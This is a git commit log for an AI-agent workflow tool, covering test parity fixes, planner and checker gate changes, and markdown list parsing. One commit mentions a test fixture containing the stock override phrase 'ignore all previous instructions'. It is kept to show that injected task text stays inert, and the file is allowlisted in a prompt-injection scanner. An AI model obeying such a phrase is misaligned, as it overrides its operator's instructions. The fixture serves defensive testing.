in parity by convention. Root-caused each, no test weakened or
special-cased.

- help.md ↔ commands/gsd/ bidirectional parity (docs-parity-live-
  registry.test.cjs): added a /gsd:quick-batch entry to
  gsd-core/workflows/help/modes/full.md (the real help.md content;
  gsd-core/workflows/help.md is a thin dispatcher) documenting every
  flag (--file/--jobs/--validate/--research/--resume), matching the
  existing /gsd:quick entry's format.

- gen-section-manifest.test.cjs: quick-batch.md's
  `gsd_run query init.quick-batch` invocation used inline
  `$([ ... ] && echo --flag)` substitutions, which never satisfy the
  test's exact-whitespace-token / assigned-variable detection (the
  trailing `))` glued onto `--research` in the compound substitution
  broke the "exact token" match). Rewrote to the same
  VALIDATE_PARAM/RESEARCH_PARAM two-line pattern
  gsd-core/workflows/quick.md's own Step 2 already uses.

- runtime-launcher-parity.test.cjs: the 8 quick-batch/steps/*.md
  fragments that call gsd_run each needed their OWN embedded copy of
  the canonical shim preamble (every workflow .md that calls gsd_run
  carries its own copy — reading one file does not persist shell state
  into another). Ran `node scripts/sync-runtime-launcher.cjs`, which
  inserted it before each file's first gsd_run call.
  plan-checker-loop.md correctly has none — it never calls gsd_run
  directly.

- Namespace routing (skill-manifest.test.cjs, install-nested-
  layout.test.cjs, runtime-artifact-layout-surface.test.cjs): added
  `quick-batch` to commands/gsd/ns-workflow.md's `requires:` array and
  routing table (same namespace `quick` already routes through), and
  to src/clusters.cts's `utility` cluster (same cluster `quick`
  already belongs to). Verified by hand-running installRuntimeArtifacts
  + applySurface for augment/cline against a real temp install: exactly
  6 top-level gsd-ns-* router dirs, gsd-quick-batch correctly nested
  under gsd-ns-workflow/skills/, never re-flattened.

- mcp-server-catalog.test.cjs: hardcoded command count 71 -> 72 (a
  brand-new command is a real count change, not a bug this test should
  hide).

- model-omit-when-inherit-guard.test.cjs: added the canonical
  `<!-- #2517 model-omit-on-inherit -->` marker block to
  gsd-core/workflows/quick-batch.md (every leaf dispatch — planner/
  researcher/checker/executor/verifier — lives in a steps/ fragment,
  read combined with the host by this test's own readWorkflowCombined,
  same as quick.md's own research-phase.md carries it for its gated
  section). Also fixed a genuine pre-existing inconsistency in the
  test's own "#2711: the guarded set is derived from dispatch sites"
  check: its `nonDispatching` computation read the BARE host file while
  `derived` (the set it's checked against) reads the combined
  host+steps content — inconsistent with that same test file's own
  #2994 doc comment explaining why the combined read is necessary.
  quick-batch.md is the first workflow whose EVERY model="{...}"
  dispatch site lives in a mandatory (never gated) steps/ fragment —
  extracted to stay under ADR-1610's tighter NEW_FILE_CAP for a
  brand-new file — which is what exposed the mismatch. Fixed by using
  the same readWorkflowCombined read in both places.

- skill-frontmatter-contract.test.cjs: shortened
  commands/gsd/quick-batch.md's frontmatter `description` from 107 to
  91 chars (<=100 budget), and added `quick-batch.md` to the hand-
  maintained KNOWN_SKILLS consolidation allowlist with a #3676
  justification comment (a genuinely new first-party command, not a
  consolidation of an existing skill).

- workflow-fragments-emission.install.test.cjs: added `quick-batch.md`
  to the hand-maintained MARKED_WORKFLOWS set (composeWorkflow is
  deliberately NOT a no-op for it — its research-phase/verification-
  wave sections are gated).

- Regenerated all downstream artifacts (npm run build:lib && npm run
  regen:derived && npm run gen:plugin-skills -- --write && npm run
  gen:features -- --write): skills/gsd-quick-batch/SKILL.md,
  skills/gsd-ns-workflow/SKILL.md, install-tree fixtures for
  augment/cline/hermes/qwen/trae/zcode.

- emitted-attribution.test.cjs: agents/gsd-planner.md's #3676 addition
  (one new `load_mode_context` bullet pointing at the new
  gsd-core/references/planner-quick-batch.md reference) grew the file
  124 bytes without an acknowledgment trailer. Acknowledged below —
  the growth is the deliberate, additive, single-bullet change from
  the earlier feat(#3676) commit, not drift.

Verified: npm run build:lib clean, npx tsc -p tsconfig.build.json
--noEmit clean, GITHUB_BASE_REF=next npm run lint:ci fully green
(includes lint-workflow-shellcheck, lint-test-file-count,
lint-docs-command-form). The deep install/spawn/registry tests gsd-test
actually runs (docs-parity-live-registry, gen-section-manifest,
runtime-launcher-parity, install-nested-layout,
runtime-artifact-layout-surface, skill-manifest, skill-frontmatter-
contract, mcp-server-catalog, model-omit-when-inherit-guard,
workflow-fragments-emission) are not part of lint:ci — each fix above
was independently verified by hand-invoking the exact production
function the failing test calls (installRuntimeArtifacts, applySurface,
composeWorkflow, the CLUSTERS union, the section-manifest forwarding
regex) against the real repo tree and confirming the expected shape.

Emitted-Drift-Ack-Growth: gsd-planner.md — additive #3676 quick-batch mode bullet in load_mode_context (one new line pointing at gsd-core/references/planner-quick-batch.md); not drift.

* fix(#3676): trim the /gsd:quick-batch help.md entry to fit the LARGE tier line budget

skill-frontmatter-contract.test.cjs's "feature #3039: tiered help —
size budgets" enforces a SEPARATE line-count ceiling for
gsd-core/workflows/help/modes/full.md (FULL_BUDGET = 844 lines,
tighten-only ratchet, scripts/lib/allowlist-ratchet.cjs's
assertTightCeiling) — independent of the skill-frontmatter description-
length budget and consolidation allowlist I touched in the prior round;
those are unrelated checks in the same test FILE, not the same check.

Root cause: the /gsd:quick-batch entry I added to full.md in the
docs-parity fix round was 17 lines, pushing the file from 834 to 851
lines — 7 over the 844 ceiling. Condensed the entry (merged the
per-flag bullet list into one dense "Flags:" line, dropped from 3
Usage examples to 1) to 844 lines exactly — at the ceiling with zero
slack, which assertTightCeiling accepts (it only fails on
actualMax > ceiling, or on slack > grace when the ceiling is too
LOOSE — zero slack triggers neither).

Verified after trimming: full.md still contains a live /gsd:quick-batch
reference (bidirectional parity) and all 5 argument-hint flags
(--jobs/--validate/--research/--resume/--file) still appear as literal
tokens (docs-parity-live-registry.test.cjs's own flag-coverage check,
re-run by hand against the trimmed content).

Verified: npm run build:lib clean, npx tsc -p tsconfig.build.json
--noEmit clean, GITHUB_BASE_REF=next npm run lint:ci fully green.

* docs(#3676): backfill changeset pr number to 4212

Follow-up to fix(#3676) commits — .changeset/silly-rams-caper.md's
pr:0 placeholder backfilled with the real PR number now that
gh api POST /pulls has returned it (#4212). Matches CLAUDE.md's PR
Number Handling convention and Phase 3's own #4190 precedent
(708c5a3f8c). Doc-only (root-level .changeset/*.md fragment), exempt
from a fresh gsd-test run per pre-pr-gate.sh's DOC_ONLY_RE.

* fix(#3676): resolve prompt-injection-scan false positive on test fixture

tests/quick-batch.test.cjs:232's row 11b regression proves the task-list
parser carries a prompt-injection-shaped task description through
createBatch as inert data, never interpreted. The fixture has to be a
real "ignore all previous instructions..." phrase or the test asserts
nothing, but the full-file --diff scan flagged it once unrelated edits
in the same file pulled it into the changed-file set.

Add the file to prompt-injection-scan.sh's ALLOWLIST, matching the
sanctioned, precedented exemption already used for other legitimate
security-regression fixtures (tests/windsurf-conversion.test.cjs,
tests/health-validation.test.cjs, tests/continuation-grammar-parity.test.cjs)
per DEFECT.PROMPT-INJECTION-SCAN-COLLISION.

---------

Co-authored-by: sim <sim@local>
2026-09-02 22:38:31 -04:00
Tom Boucher
7c52344284 fix(#4003): anchor the safe-resume gate's plan-scope greps to the milestone (#4194)
* test(#4003): safe_resume_gate must grep an anchored padding-tolerant scope

* fix(#4003): anchor the resume-gate scope greps and bound them to the milestone tag

Emitted-Drift-Ack-Growth: execute-phase.md — #4003 rewrites three commit-scope greps (safe_resume_gate, TDD RED, completion spot-check) to anchored zero-pad-tolerant regexes with a milestone tag bound; growth is the fix itself

* test(#4003): align shape assertions with the implemented gate text

* fix: bump fast-uri past GHSA-jqff-g426-hqxp (transitive, advisory reddened next)

* fix(#4003): bound the TDD RED grep to the milestone and fix tdd.md's example greps

* test(#4003): the gate pin tracks the anchored scope grep

* fix(#4003): trim the gate rationale to hold the 93400 margin ceiling

* test(#4003): the RED-grep pin tracks the milestone-bounded invocation

* chore(#4003): changeset for the anchored resume-gate scope

* chore(#4003): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-09-02 13:45:14 -04:00
Tom Boucher
647365faf1 fix(#4011): key the TDD runtime gate on TDD_MODE alone (#4180)
* test(#4011): TDD gate keys on TDD_MODE alone, not the MVP intersection

Contract updates: no shipped line may conjoin MVP_MODE with TDD_MODE as
a gate condition, the end-of-phase escalation must not require MVP, the
executor agent's gate section triggers on TDD_MODE alone, and the gate
semantics reference loads without MVP_MODE.

* fix(#4011): key the TDD runtime gate on TDD_MODE alone

The RED-commit gate shipped as #76's MVP slice kept the paired
invocation's conjunct, so workflow.tdd_mode=true was silently inert on
every non-MVP phase, contradicting references/tdd.md's own contract.
Drops the MVP conjunct from the per-task gate and the end-of-phase
review escalation; rescopes execute-mvp-tdd.md's load condition,
gsd-executor's gate section, and mvp-concepts' intersection claim.
MVP remains free to imply TDD; the file is not renamed (stated
assumption in the PR body).

* test(#4011): scope no-conjunct detector to shell conditions; clean stale MVP+TDD phrasing

Review follow-ups: the detector now only inspects if/[ condition lines
so explanatory prose mentioning both flags cannot trip it; remaining
'under/outside MVP+TDD' phrases in execute-phase.md, the gate
reference, and docs/INVENTORY.md now describe TDD-mode semantics.

Emitted-Drift-Ack-Growth: execute-phase.md — TDD-gate decoupling comment + escalation rescoping (#4011)
Emitted-Drift-Ack-Growth: gsd-executor.md — gate section trigger rescoped to TDD_MODE alone (#4011)

* chore(#4011): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-09-02 04:24:52 -04:00
Tom Boucher
bf4485ada2 enhance(#3717): make the edge probe's shape cues language-aware via an optional text_en field (#4156)
* test(#3717): add failing-first coverage for text_en language-aware classification

Adds unit tests for the not-yet-implemented text_en field on Requirement
(fallback selection, empty/whitespace/non-string rejection, shapes-override
precedence), a SHAPE_CUES/VALID_SHAPES parity guard (RULESET.GENERATIVE-FIX),
and workflow-prose contract tests asserting spec-phase.md Step 5.5 documents
populating text_en for response_language projects. All new tests are RED
until src/edge-probe.cts and the workflow docs are updated.

* feat(#3717): make edge-probe shape classification read an optional text_en field

Requirement gains an optional text_en; classifyShape's own signature stays
untouched (a locked, directly-tested export), and the text_en ?? text
selection is pushed to proposeEdges' single call site instead. text_en is
validated fail-closed: an empty or whitespace-only value throws rather than
silently winning the ?? fallback and degrading classification to zero shapes.

This makes the #2773 doc-only translation convention an explicit,
validatable field instead of an invisible instruction, per the approved
Form-1 scope on #3717.

* docs(#3717): document the text_en field across spec-phase, reference and how-to docs

Updates Step 5.5's response_language instructions, the edge-probe reference
Inputs contract, the FEATURES.md fragment, and the non-English how-to guide
to describe the new text_en field: text keeps the requirement's own wording
in all cases, text_en (when populated) is the engine-only English rendering
the classifier prefers.

* docs(#3717): record the text_en locked-surface change in CONTEXT.md and ADR-550

Updates the Edge Probe Module glossary entry to describe the text_en field
and its fail-closed validation, and appends an ADR-550 amendment recording
why this is additive and does not re-open the #652 LLM-classifier rejection
(text_en is a plain field read by the existing deterministic regex
classifier, not a new model-dependent surface).

* docs(#3717): add changeset fragment and regenerate FEATURES.md

pr:0 placeholder — backfilled with the real PR number after the PR opens.

* docs(#3717): attribute the text_en machine check to engine-level validation, not prose tests

Code-review (Spec axis) finding: the workflow-prose contract tests and the
ADR-550 amendment overclaimed themselves as "the machine check the #2773
doc-only stopgap lacked." That check is actually engine-level
(validateRequirement/classifyShape, covered in tests/edge-probe.test.cjs) —
the prose tests are the same style of assertion #2773 already used. Reworded
both to attribute the claim correctly.

* fix(#3717): rewrap spec-phase.md so the id-unchanged sentence stays on one line

The #3717 rewrite of Step 5.5's response_language paragraph moved a line
break so "requirement `id`s" ended one physical line and "are never
translated" started the next. The pre-existing #2773 regression test
(tests/edge-probe-spec-phase-contract.test.cjs) asserts id + "never
translated" on the SAME line (no \n in between, matching git's own
line-oriented prose), so the reflow silently broke it. Rewrapped so the
sentence lands on one line again, verified against every #2773/#3717
regex assertion in that test file.

Emitted-Drift-Ack-Growth: spec-phase.md — #3717 adds text_en documentation to Step 5.5 (response_language paragraph + REQS_JSON heredoc comment); this growth is this PR's own diff, not incidental drift.

* chore(#3717): backfill changeset PR number

pr:0 -> pr:4156 now that the PR exists.

---------

Co-authored-by: sim <sim@local>
2026-09-01 21:39:53 -04:00
Cody Anderson
8c9265d4e5 fix(#3724): warning-only Dimension 3b findings no longer force the revision loop (#3758)
* fix(#3724): stop advisory Dimension 3b findings from forcing the revision loop

Dimension 3b (undeclared/temporal coupling, #1954) is spec'd "never a
blocker" but tagged severity: warning — the tier plan-phase's revision
loop counts as must-fix — and the planner is never taught the rule, so
every multi-wave phase touching shared mutable state replans at least
once, and intentionally coupled plans re-flag identically every
iteration to the stall prompt.

Three coordinated changes:
- gsd-plan-checker: retag 3b to severity: info, the tier
  references/revision-loop.md already exempts by design; recognize a
  coupling_justified frontmatter declaration in the Do-NOT-flag list so
  deliberate pairs converge. Additions are offset by trimming 3b
  motivation prose — the checker sits 45 bytes under its LARGE hard cap.
- plan-phase step 12: INFO-only accept — an issues block with zero
  BLOCKER/WARNING entries accepts the plan and surfaces the advisories
  instead of re-entering the revision loop. Real blockers and warnings
  still gate unconditionally.
- gsd-planner: slim pointer in assign_waves to the new
  progressive-disclosure reference gsd-core/references/planner-coupling.md
  (the planner sits 19 chars under its own cap), which carries the
  shared-mutable-state rule and the coupling_justified escape hatch so
  first-pass plans avoid the finding when the coupling is unintentional.

Documented the coupling_justified field in docs/reference/plan-md.md.
Growth acks per #2914; inventory manifest and install-tree fixtures
regenerated for the new reference file.

Closes #3724

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* test(#3724): pin Dimension 3b at severity: info

The severity retag makes the old assertion (severity: warning) stale;
lock the advisory tier from both directions — info must be present,
warning must not — so a future edit cannot silently re-arm the
revision-loop trigger.

Refs #3724

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* chore(#3724): changeset fragment for PR #3758

Refs #3724

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* docs(#3724): roster planner-coupling.md in docs/INVENTORY.md

The new reference was enumerated in the manifest and all 19 install-tree
fixtures but missing its row in the Modular Planner Decomposition table —
the roster half the manifest-sync test cannot check. (Review Blocker.)

Refs #3724

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* test(#3724): cover all four acceptance criteria (review round 1)

- plan-checker-coupling: the 3b severity assertion is now a PARITY check
  deriving the exempt tier from revision-loop.md's flow instead of
  hardcoding info — editing either side alone reds the suite. New
  describe pins the other three criteria: plan-phase's INFO-only accept
  clause (proven failing-first), the BLOCKER + WARNING count staying
  intact, the coupling_justified Do-NOT-flag exemption + fix_hint, and
  the planner pointer + planner-coupling.md content.
- ack fragment: $comment's plan-phase figure corrected to +79B; the 2775
  pin note carried forward into the gsd-planner.md entry, updated for
  upstream's #3761/#3764 Rule-paragraph anchor (which this diff leaves
  verbatim).

The parallel-dependent-plans re-anchor this commit originally carried was
superseded by upstream #3764 during review; this branch no longer touches
that file.

Refs #3724

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): review round 2 — align the stance enumeration, complete the template contract

MAJOR: <adversarial_stance>'s severity enumeration gains the INFO bullet so it
agrees with Dimension 3b's 'ALWAYS INFO' mandate instead of contradicting it.
Funded by extracting the inline <examples> block to the new progressive-
disclosure reference gsd-core/references/plan-checker-examples.md (@-inlined
from the same spot; #1949 precedent), which also restores the 3b motivation
clause round 1 traded away (Nit 4) and nets the agent file SMALLER than base
(49107 -> 48486) — the extraction the byte pressure was owed.

MINOR: gsd-core/templates/phase-prompt.md now carries coupling_justified, and
the field's shape becomes one 'plan-id: reason' string per coupled peer so a
plan justified against two peers can express it; docs/reference/plan-md.md's
Type column names the shape.

NIT: the 3409 ack's plan-phase entry no longer calls the #1168 workflow
ratchet an 'XL tier'.

Acks and derived artifacts updated accordingly (checker entry removed — a
shrink needs no ack; INVENTORY roster row + regen:derived for the new file).

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* test(#3724): derive the 3b negative severity assertion (review round 2)

Every severity token in the 3b span must BE the tier revision-loop.md exempts,
replacing the hardcoded severity:warning negative — if the loop's exemption
ever moves, the failure names the real conflict instead of blaming the agent
file with a mutually-unsatisfiable pair.

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): refit the planner coupling pointer under the char cap

Upstream #3299 (PR #3390) grew agents/gsd-planner.md to 49146 chars at the
base, leaving 5 chars of headroom where the +16-char pointer was measured
against 13 more. The pointer prose shortens to 'Non-file coupling:' —
49150 chars, back under the strict 49152-char cap — and the ack figures
follow. The @-path the tests pin is unchanged.

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): re-home the plan-phase ack after the #3823 spent-fragment sweep

Upstream #3078/#3823 deleted all fully-spent ack fragments, including
3409-unreachable-guard-arms.json, which carried this PR's plan-phase.md
+79B append. Per the collision remedy that sweep added: take the deletion
and home the still-live entry in this PR's own fragment. Figures
re-measured at this merge base (90871 -> 90950 LF bytes).

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): absorb the spent #3172 plan-phase fragment into this PR's ack

Upstream #3825 shipped 3172-stated-failing-direction.json naming only
plan-phase.md, now spent at the base — colliding with this PR's live
plan-phase entry. Per the #3003 pattern the fully-spent single-path
fragment is deleted and this fragment stays the path's one source;
figures re-measured at this base (93073 -> 93152 LF bytes).

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): review round 3 — true up the ack figures, restore the wave comment

The fragment's absolute sizes are re-measured and anchored to base
e40e9670 (planner 47259 -> 47330 chars, checker 45537 -> 44916 B,
plan-phase 91186 -> 91265 LF bytes), with a note that absolutes rot as
next moves — the deltas are the durable claims. The round-1 removal of
the '# Implicit dependency: files_modified overlap forces a later wave.'
pseudocode comment offset headroom base drift had already returned, so
it is restored (findings 2-3). Changeset gains the (#3724) backlink
(finding 4).

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): review round 4 — close the verify-work surface, harden the boundaries

BLOCKER: verify-work.md's verify_gap_plans is the second multi-plan
consumer of the checker's sentinels, and its ISSUES FOUND handler entered
revision_loop with zero severity parsing — the guaranteed replan #3724
fixed in plan-phase, alive on the gap-closure surface. The handler now
counts BLOCKER + WARNING and accepts INFO-only returns with advisories
displayed. The checker's INFO stance bullet is reworded to the claim that
is true everywhere ('revision gates count only BLOCKER + WARNING').

Minor 1: plan-phase's iteration_count >= 3 arm recounts severities, so an
INFO-only third check accepts instead of halting on a '0 issues remain'
user gate. Minor 2: the coupling_justified exemption now requires the
entry to NAME the other plan, closing the blanket-suppression reading.
Nit 1: INVENTORY row states the extraction buys cap headroom, not context.
Nit 2: the advisory display gains a concrete format on both surfaces.

Ack fragment re-anchored at base ddde001a: verify-work.md +264B (new
entry), plan-phase.md +395B, checker still net negative (-512B).

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* test(#3724): pin the verify-work accept and the iteration-cap boundary (review round 4)

Two wiring assertions: verify_gap_plans' ISSUES FOUND handler gates on
BLOCKER + WARNING and accepts INFO-only blocks, and plan-phase's
iteration_count >= 3 arm recounts severities instead of gating advisories
— the limit+1 boundary of the gate this PR fixes.

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): review round 5 — fail closed at the gates, surface the advisory

Blocker 1: the checker's step-10 status rule routes an INFO-only result to
## ISSUES FOUND (with a new ### Advisories (info) template section and a
severity-aware recommendation) so the orchestrator receives the block and
displays the advisory instead of silently accepting a bare PASSED.

Blockers 2+3: all three gate surfaces (plan-phase step 12 both arms,
verify-work verify_gap_plans) carry one canonical clause verbatim — an entry
whose severity is missing or unrecognized counts as a BLOCKER (fail closed) —
making the accept condition an explicit-INFO whitelist while keeping
issue_count coherent for stall math.

Major 1: the INFO stance bullet scopes its claim to the plan-phase and
verify-work gates (quick mode's loop still revises on any ISSUES FOUND).
Major 2: INVENTORY row and ack $comment state the extraction's real trade
(readability, +0.6 KB eager runtime context), not a cap remedy.
Minor 1: plan-md.md marks coupling_justified as prompt convention, unvalidated.
Nit 1: ack absolutes re-anchored at base 1e67ec97; checker now +120B and acked.

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* test(#3724): pin the round-5 contract — fail-closed parity, INFO-only return shape

New: three-surface verbatim parity test for the fail-closed clause (Blockers
2+3); checker return-contract test for the INFO-only ## ISSUES FOUND route and
advisories section (Blocker 1). All seven newly pinned tokens are absent at
f3a5682d, so each new assertion fails pre-fix.

Updated: accept-clause regexes track the explicit-INFO whitelist wording;
the severity sweep scopes to the span's fenced yaml examples via
yamlSeverityTiers (round-5 Minor 3, applied to the blocker negative too);
the iteration-cap comment states it is a prose pin, not an executed boundary
check (Minor 4); splitLines call sites document the line-pin coupling (Nit 2).

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): adopt next's line wrap in the 3b motivation clause — drops a wrap-only hunk from the diff

Byte-identical content; the wrap difference was an artifact of the round-1
base adaptation predating upstream's #3003 landing.

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

* fix(#3724): review round 7 — gate every checker consumer, not just the two audited ones

Blocker: quick/steps/plan-checker-loop.md (issue-named in #3724) gets the
same canonical fail-closed clause and explicit-INFO whitelist accept as
plan-phase/verify-work — an INFO-only result proceeds instead of entering
quick mode's revision loop.
Major: import.md plan_validate handles the checker return by severity
(INFO-only never blocks an import) and is added to agent-contracts.md's
consumer enumeration, which had omitted it.
The checker's INFO stance bullet drops the quick-mode carve-out — the claim
is universally true again now that every consuming gate is severity-aware.
Minor: an applied coupling_justified exemption is surfaced as its own info
advisory so a stale one-sided declaration stays observable.
Nit: plan-phase's revision-iteration Display line is explicitly conditioned
on not having already proceeded to step 13.

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM
Emitted-Drift-Ack-Growth: import.md — #3724 round 7: the plan_validate step's checker-return handler becomes severity-aware — counts BLOCKER + WARNING failing closed and accepts an explicitly-INFO-only return with advisories displayed instead of blocking the import

* test(#3724): pin the round-7 surfaces — five-gate parity, quick/import accepts, exemption visibility

The verbatim fail-closed parity test extends to quick/steps/plan-checker-loop.md
and import.md plan_validate; new assertions pin quick mode's INFO-only proceed,
import's never-blocks accept, import.md's presence in agent-contracts.md's
consumer row, and the surfaced coupling_justified exemption advisory. All four
newly pinned token families are absent at the pre-fix head, so each new
assertion fails first.

Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM

---------

Co-authored-by: Tom Boucher <trekkie@nomorestars.com>
2026-08-31 19:08:11 -04:00
0xdhx
ef9ce3e598 fix(#3702): count asterisk, plus and ordered markers as deferred-items entries (#3739)
* fix(#3702): deferred-items counts `*`, `+` and ordered markers as list items

`deferred-items.md` has no template and no mandated shape, but its parser
recognised only the `- ` hyphen marker. Asterisk bullets, plus bullets and
dot-terminated ordered lists — all lists in CommonMark and GFM — contributed
ZERO entries on both the headless and the heading-delimited path, and a mixed
file dropped its non-hyphen entries while keeping their hyphenated siblings,
under-reporting without ever looking empty.

The restriction was a regex literal inherited from the Gaps seam, where the
template genuinely mandates the hyphen YAML-lite form; nothing in the module's
stated rationale distinguishes `*` from `-`.

Widened on the deferred path only:
- `splitGapsEntriesCore`'s entry opener, `extractGapEntryFields`' line-0 strip
  and `rawGapEntryText`'s line-0 strip take a `BulletMarkers` parameter that
  DEFAULTS to the hyphen-only set, so `## Gaps` keeps its template-mandated
  grammar byte-for-byte and the module still has exactly one grouping pass.
- `splitDeferredHeadingEntries`' body-bullet test, `stripLeadingBulletMarker`
  and `acknowledgeDeferredItem`'s status-field regexes move in lockstep —
  widening what OPENS an entry without widening what is STRIPPED before field
  extraction would surface an entry that can never resolve.

Unchanged, and pinned by tests: prose-only and bare headings still contribute
nothing ("prose is not an item"); a table under a leaf heading still yields
exactly its rows, since table lines are skipped before the body-marker flag can
be set and a `|` row is not a list marker; the paren-terminated ordered form
`1)` is out of this fix's scope.

* docs(#3702): changeset fragment (pr: 0 placeholder pre-create)

* fix(#3702): widen the forensic-audit prose entry rule to match the parser

Sibling site of the same defect class, found by a defect-class sweep of the
deferred-items consumers. `/gsd-progress` check 7 does NOT go through
`gsd-tools query` — it globs `deferred-items.md` and has the model read entries
by a prose rule that mandated "one entry per top-level `- ` line". Left as-is,
the marker widening would hold on the CLI path while the one consumer that
bypasses the parser kept reporting "No unresolved deferred items" for a file
written with `*`, `+` or an ordered marker: the same false negative, surviving
in the only place the fix could not reach by code.

Also pass DEFERRED_BULLET_MARKERS explicitly where the heading path extracts
fields. It was already correct — stripLeadingBulletMarker pre-strips the widened
set from every line, so the default hyphen strip is a no-op there — but relying
on that leaves a detection site and a strip site nominally on different marker
sets, which is exactly the asymmetry the BulletMarkers doc comment warns about.
Explicit is local; inferred is a trap for whoever edits the strip next.

Out of scope, noted rather than fixed: forensic-audit.md globs only
`.planning/phases/*/` and so misses archived milestone phases that
`scanDeferredItems` covers. Pre-existing, a different defect, and not this
issue's ruling.

* docs(#3702): note the milestone-close halt for heading-shape non-hyphen files in the changeset

A heading-delimited deferred-items.md written with */+/ordered markers
previously parsed to zero and closed silently; it now yields entries whose
heading shape acknowledgeDeferredItem refuses, halting complete-milestone
until hand-edited. User-visible, so the fragment states it.

* chore(#3702): set changeset fragment pr to 3739

* fix(#3702): CR-normalise the heading path and the acknowledge writer (review B1, M4, m2)

B1 — `splitDeferredHeadingEntries` stored RAW lines; on a CRLF file every
body line but the last still carried its `\r`, the `$`-anchored marker
strip failed on it, the marker survived into field extraction and the
field was lost — a `**Status:** resolved` that was not the file's final
line resurfaced its entry as open. The heading path now stores CR-stripped
lines like the headless path already did, and the strip regex tolerates a
trailing CR on its own. Round 1's CRLF test put `**Status:**` on the last
line, the one position `collectSection`'s `.trimEnd()` had already
de-CR'd; the new tests put it first and mid-body.

M4 (pre-existing on `next`) — `acknowledgeDeferredItem` found the status
line on a CR-stripped copy but rewrote the raw line with a `$`-anchored
`.*`, which cannot consume `\r`; `replace` returned its input, and the
writer reported `ok` over byte-identical content. The rewrite now runs on
a CR-stripped line. The comment that claimed `.*$` consumed the `\r` is
corrected — it was the bug, stated as the design.

m2 — the indent probe for an inserted `status:` line ran on the raw line
and fell back to indent 0 on CRLF; it is CR-stripped too.

* fix(#3702): derive every deferred-items marker regex from one source (review M3, N1, N2)

M3 — round 1 carried the marker alternation in FOUR places: the
`BulletMarkers` pair and two inline literals inside
`acknowledgeDeferredItem`, under a doc comment saying the interface
existed so a detection site and its strip site could not drift. All four
now derive from `DEFERRED_MARKER_ALT`; drift is impossible rather than
discouraged. A parity test pins the vocabulary against
`markdown-sectionizer`'s `iterateBullets` on everything the two grammars
are meant to agree on, and names the two points they deliberately differ.

N1 — the ordered marker is `\d{1,9}\.` (CommonMark §5.2), not `\d+\.`.

N2 — the marker is followed by `[ \t]`, not `\s`, which also accepted
`\r`; the tab remains accepted (CommonMark-legal) and the divergence from
`iterateBullets`' literal space is pinned rather than papered over.

The four regexes are exported for the parity test only.

* fix(#3702): an ordered marker opens an entry only from `1.` or inside a run (review B2, m1)

B2 — `\d+\.` alone read ordinary prose as a list: "2026. was a bad year
for this module" and, under `### Notes`, "3. is the number of retries we
settled on." both opened an entry on round 1, the second straight through
the "prose is not an item" contract that round's AC4 claimed to preserve.
CommonMark §5.3 faces the same ambiguity when an ordered list would
interrupt a paragraph and resolves it by requiring the list to start with
1; `matchListOpener` applies that rule wherever an ordered marker is seen,
with the run carried per list (headless) or per leaf-heading body. Numbers
after the first are ignored, as CommonMark ignores them. Stated cost,
pinned: a hand-numbered list starting at 2 reads as prose — every ordered
record in the #3702 scan starts at 1.

Both reviewer cases are pinned as prose; the ruling's `1. alpha / 2. beta`
shape still counts.

m1 — the 9-digit boundary is pinned at both sides (`999999999.` opens,
ten digits is not a marker), and the 3-vs-4-space indentation cliff is
pinned as deliberately NOT applied: the parser is indent-lenient because
surfacing a questionable hand-written entry beats dropping a real one.

* fix(#3702): thematic breaks close the list and fenced code never opens an entry (review M1, M2)

M1 — `- - -` was a phantom `"- -"` entry on base; widening the marker set
added `* * *` and `+ + +` to the class, and `* * *` is the separator an
author writing in the `*` style is most likely to use. A CommonMark §4.1
thematic break (plus the `+ + +` gesture, which is the same garbage as an
entry name) now closes the open entry on the headless path and is dropped
from the body on the heading path — neither an item nor a continuation.

M2 — neither splitter was fence-aware, so `+ `-prefixed diff lines and
`1.`-numbered repro steps inside a code block counted as entries; #3702's
wild records carry exactly those blocks. Both splitters now classify lines
by the sectionizer's own `scanFencedBlocks` (so `~~~`, indented and
unterminated fences behave as `stripFencedCode` would): fence content
never opens an entry, is continuation inside an open one — keeping the
span invariant `acknowledgeDeferredItem` re-verifies — and is discarded
before the first.

* test(#3702): range the #2287 deferred-items property over marker × shape × line ending (review B3)

The `#2287` property hard-coded `- ` and filtered `\r\n` out of its
arbitraries, so the widened marker set — an enumerated domain, exactly
what a property is for — was never under it. It now ranges over
`{-, *, +, ordered}` × `{headless, heading}` × `{LF, CRLF}`, with the
heading shape placing `**Status:**` first or last: the review's
prescription (markers × line endings) would not have reached B1, which
lives on the heading path only, so the shape axis is the load-bearing
addition. Ordered entries are numbered from 1, so the B2 run rule is
under the property too.

A second property drives `acknowledgeDeferredItem` over every unresolved
headless entry across the same marker × line-ending grid — the one that
reaches M4 (a CRLF rewrite that reported `ok` and wrote nothing) and m2.

* test(#3702): pin the milestone-close halt on a heading-delimited `*`/`+`/`1.` file (review m3)

A heading-delimited `deferred-items.md` written with a non-hyphen marker
previously parsed to zero entries and let `complete-milestone` close
silently; it now yields entries whose heading shape `acknowledgeDeferredItem`
